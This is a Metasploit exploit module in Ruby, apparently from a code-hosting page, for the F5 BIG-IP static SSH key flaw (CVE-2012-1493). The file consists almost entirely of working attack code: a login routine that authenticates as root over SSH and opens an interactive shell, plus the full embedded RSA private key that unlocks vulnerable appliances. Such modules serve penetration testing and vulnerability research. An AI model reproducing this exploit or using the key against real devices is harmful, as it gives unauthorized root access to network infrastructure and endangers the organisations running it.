150 lines
4.1 KiB
Ruby
150 lines
4.1 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'net/ssh'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Auxiliary::Report
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def initialize(info = {})
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super(update_info(info, {
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'Name' => 'F5 BIG-IP SSH Private Key Exposure',
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'Version' => '$Revision$',
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'Description' => %q{
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F5 ships a public/private key pair on BIG-IP appliances that allows
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passwordless authentication to any other BIG-IP box. Since the key is
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easily retrievable, an attacker can use it to gain unauthorized remote
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access as root.
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},
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Privileged' => true,
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'Targets' => [ [ "Universal", {} ] ],
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'Payload' =>
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{
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'Compat' => {
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'PayloadType' => 'cmd_interact',
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'ConnectionType' => 'find',
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},
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},
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'Author' => ['egypt'],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'URL', 'https://www.trustmatta.com/advisories/MATTA-2012-002.txt' ],
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[ 'CVE', '2012-1493' ],
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[ 'OSVDB', '82780' ]
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],
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'DisclosureDate' => "Jun 11 2012",
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'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
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'DefaultTarget' => 0
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}))
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register_options(
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[
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# Since we don't include Tcp, we have to register this manually
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Opt::RHOST(),
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Opt::RPORT(22)
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], self.class
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)
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register_advanced_options(
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[
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OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
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OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
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]
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)
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end
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# helper methods that normally come from Tcp
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def rhost
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datastore['RHOST']
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end
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def rport
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datastore['RPORT']
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end
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def do_login(user)
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opt_hash = {
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:auth_methods => ['publickey'],
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:msframework => framework,
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:msfmodule => self,
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:port => rport,
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:key_data => [ key_data ],
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:disable_agent => true,
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:config => false,
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:record_auth_info => true,
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:proxies => datastore['Proxies']
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}
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opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
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begin
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ssh_socket = nil
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::Timeout.timeout(datastore['SSH_TIMEOUT']) do
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ssh_socket = Net::SSH.start(rhost, user, opt_hash)
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end
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rescue Rex::ConnectionError, Rex::AddressInUse
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return
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rescue Net::SSH::Disconnect, ::EOFError
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print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
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return
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rescue ::Timeout::Error
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print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
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return
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rescue Net::SSH::AuthenticationFailed
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print_error "#{rhost}:#{rport} SSH - Failed authentication"
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rescue Net::SSH::Exception => e
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print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
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return
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end
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if ssh_socket
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# Create a new session from the socket, then dump it.
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conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/sh', true)
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ssh_socket = nil
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return conn
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else
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return false
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end
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end
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def exploit
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conn = do_login("root")
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if conn
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print_good "Successful login"
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handler(conn.lsock)
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end
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end
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def key_data
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<<EOF
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-----BEGIN RSA PRIVATE KEY-----
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MIICWgIBAAKBgQC8iELmyRPPHIeJ//uLLfKHG4rr84HXeGM+quySiCRgWtxbw4rh
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UlP7n4XHvB3ixAKdWfys2pqHD/Hqx9w4wMj9e+fjIpTi3xOdh/YylRWvid3Pf0vk
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OzWftKLWbay5Q3FZsq/nwjz40yGW3YhOtpK5NTQ0bKZY5zz4s2L4wdd0uQIBIwKB
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gBWL6mOEsc6G6uszMrDSDRbBUbSQ26OYuuKXMPrNuwOynNdJjDcCGDoDmkK2adDF
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8auVQXLXJ5poOOeh0AZ8br2vnk3hZd9mnF+uyDB3PO/tqpXOrpzSyuITy5LJZBBv
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7r7kqhyBs0vuSdL/D+i1DHYf0nv2Ps4aspoBVumuQid7AkEA+tD3RDashPmoQJvM
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2oWS7PO6ljUVXszuhHdUOaFtx60ZOg0OVwnh+NBbbszGpsOwwEE+OqrKMTZjYg3s
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37+x/wJBAMBtwmoi05hBsA4Cvac66T1Vdhie8qf5dwL2PdHfu6hbOifSX/xSPnVL
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RTbwU9+h/t6BOYdWA0xr0cWcjy1U6UcCQQDBfKF9w8bqPO+CTE2SoY6ZiNHEVNX4
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rLf/ycShfIfjLcMA5YAXQiNZisow5xznC/1hHGM0kmF2a8kCf8VcJio5AkBi9p5/
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uiOtY5xe+hhkofRLbce05AfEGeVvPM9V/gi8+7eCMa209xjOm70yMnRHIBys8gBU
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Ot0f/O+KM0JR0+WvAkAskPvTXevY5wkp5mYXMBlUqEd7R3vGBV/qp4BldW5l0N4G
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LesWvIh6+moTbFuPRoQnGO2P6D7Q5sPPqgqyefZS
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-----END RSA PRIVATE KEY-----
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EOF
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end
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end
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